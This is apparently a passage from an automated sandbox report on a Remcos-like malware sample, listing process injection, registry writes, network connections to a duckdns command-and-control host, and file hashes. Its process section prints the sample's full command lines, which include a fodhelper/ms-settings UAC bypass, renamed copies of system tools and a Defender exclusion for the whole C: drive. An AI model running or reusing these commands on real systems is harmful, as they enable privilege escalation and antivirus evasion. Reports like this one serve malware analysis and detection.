05000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Public\xkn.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Public\xkn.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A
N/A N/A C:\Windows\system32\PING.EXE N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2380 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2380 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2380 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2380 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 2380 wrote to memory of 636 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Users\Public\Libraries\ioeztdcY.pif
PID 636 wrote to memory of 1364 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 636 wrote to memory of 1364 N/A C:\Users\Public\Libraries\ioeztdcY.pif C:\Windows\system32\cmd.exe
PID 1364 wrote to memory of 4720 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1364 wrote to memory of 4720 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\extrac32.exe
PID 1364 wrote to memory of 3940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 3940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 1964 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 1964 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 1744 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 1744 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1744 wrote to memory of 4816 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1744 wrote to memory of 4816 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1364 wrote to memory of 3572 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 3572 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3572 wrote to memory of 3588 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 3572 wrote to memory of 3588 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1364 wrote to memory of 4636 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 4636 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4636 wrote to memory of 772 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 4636 wrote to memory of 772 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 1364 wrote to memory of 2776 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1364 wrote to memory of 2776 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1364 wrote to memory of 4204 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 4204 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4204 wrote to memory of 4860 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 4204 wrote to memory of 4860 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1364 wrote to memory of 900 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 900 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 900 wrote to memory of 4224 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 900 wrote to memory of 4224 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 4224 wrote to memory of 3796 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 4224 wrote to memory of 3796 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 3796 wrote to memory of 4692 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 3796 wrote to memory of 4692 N/A C:\Users\Public\alpha.exe C:\Users\Public\ger.exe
PID 1364 wrote to memory of 3420 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 1364 wrote to memory of 3420 N/A C:\Windows\system32\cmd.exe C:\Windows \System32\per.exe
PID 2380 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Windows\SysWOW64\extrac32.exe
PID 2380 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Windows\SysWOW64\extrac32.exe
PID 2380 wrote to memory of 1568 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Windows\SysWOW64\extrac32.exe
PID 2380 wrote to memory of 1448 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Windows\SysWOW64\SndVol.exe
PID 2380 wrote to memory of 1448 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Windows\SysWOW64\SndVol.exe
PID 2380 wrote to memory of 1448 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Windows\SysWOW64\SndVol.exe
PID 2380 wrote to memory of 1448 N/A C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\Windows\SysWOW64\SndVol.exe
PID 1364 wrote to memory of 3940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 3940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3940 wrote to memory of 2492 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 3940 wrote to memory of 2492 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1364 wrote to memory of 3904 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 3904 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 3904 wrote to memory of 3452 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 3904 wrote to memory of 3452 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1364 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 2560 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2560 wrote to memory of 4668 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 2560 wrote to memory of 4668 N/A C:\Users\Public\alpha.exe C:\Windows\system32\PING.EXE
PID 1364 wrote to memory of 4404 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 4404 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 3472 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1364 wrote to memory of 3472 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe

Processes

C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe

"C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe"

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Users\Public\Libraries\ioeztdcY.pif

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F676.tmp\F677.tmp\F678.bat C:\Users\Public\Libraries\ioeztdcY.pif"

C:\Windows\System32\extrac32.exe

C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Windows\system32\cmd.exe

cmd.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Windows\system32\extrac32.exe

extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Windows \System32\per.exe

"C:\\Windows \\System32\\per.exe"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF

C:\Windows\SysWOW64\SndVol.exe

C:\Windows\System32\SndVol.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2

C:\Windows\system32\PING.EXE

ping 127.0.0.1 -n 2

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM cmd.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 2005.filemail.com udp
DE 50.7.86.226:443 2005.filemail.com tcp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
DE 50.7.86.226:443 2005.filemail.com tcp
US 8.8.8.8:53 226.86.7.50.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
GB 23.62.195.195:443 cxcs.microsoft.net tcp
US 8.8.8.8:53 195.195.62.23.in-addr.arpa udp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
US 8.8.8.8:53 latestgrace2024.duckdns.org udp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 147.142.123.92.in-addr.arpa udp
MY 103.198.26.130:45645 latestgrace2024.duckdns.org tcp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
US 8.8.8.8:53 21.58.20.217.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 latestgrace2024.duckdns.org udp
MY 103.198.26.130:45645 latestgrace2024.duckdns.org tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
N/A 127.0.0.1:45645 tcp
N/A 127.0.0.1:56765 tcp
MY 103.198.26.130:56765 latestgrace2024.duckdns.org tcp
MY 103.198.26.130:45645 latestgrace2024.duckdns.org tcp

Files

memory/2380-0-0x0000000002320000-0x0000000002321000-memory.dmp

memory/2380-1-0x0000000000400000-0x0000000000527000-memory.dmp

C:\Users\Public\Libraries\ioeztdcY.pif

MD5 c116d3604ceafe7057d77ff27552c215
SHA1 452b14432fb5758b46f2897aeccd89f7c82a727d
SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA512 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

memory/636-8-0x0000000000400000-0x0000000001400000-memory.dmp

memory/636-5-0x0000000000400000-0x0000000001400000-memory.dmp

memory/636-10-0x0000000000400000-0x000000000041A000-memory.dmp

memory/636-11-0x0000000000400000-0x0000000001400000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\F676.tmp\F677.tmp\F678.bat

MD5 54147a112fd4c4fffbdeb2eeab926f59
SHA1 7f4ae3d3dd6202e47bc02438a947065c7ed115a9
SHA256 b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46
SHA512 20c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogz5cutf.gd1.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4224-48-0x0000020AFF460000-0x0000020AFF482000-memory.dmp

C:\Users\Public\ger.exe

MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

C:\Windows \System32\per.exe

MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

memory/1448-70-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-72-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-71-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-66-0x0000000002A70000-0x0000000003A70000-memory.dmp

memory/1448-67-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-77-0x0000000000400000-0x0000000000482000-memory.dmp

memory/636-89-0x0000000000400000-0x000000000041A000-memory.dmp

memory/636-87-0x0000000000400000-0x0000000001400000-memory.dmp

memory/1448-90-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-92-0x0000000000400000-0x0000000000482000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 4ef95ef2f8be7b21a854434b47030af0
SHA1 55bab9bf582ce29503f642efa3a3943cfce6c7ba
SHA256 837974dd9419022ff2b23285b467923dbdb99d2f1e3077fbc236ee0a24980841
SHA512 bd7333b8cb5fdf6272e602d60d48a4eb472ec44fe18e2f2122dd23d68da8c7de4d86157469e2710a14587d48154c523189ec7939ebaac87ffecfb4c4cf21048b

memory/1448-97-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-98-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-103-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-104-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-107-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-108-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-109-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-114-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-116-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-121-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-122-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-124-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-127-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-133-0x0000000000400000-0x0000000000482000-memory.dmp

memory/1448-132-0x0000000000400000-0x0000000000482000-memory.dmp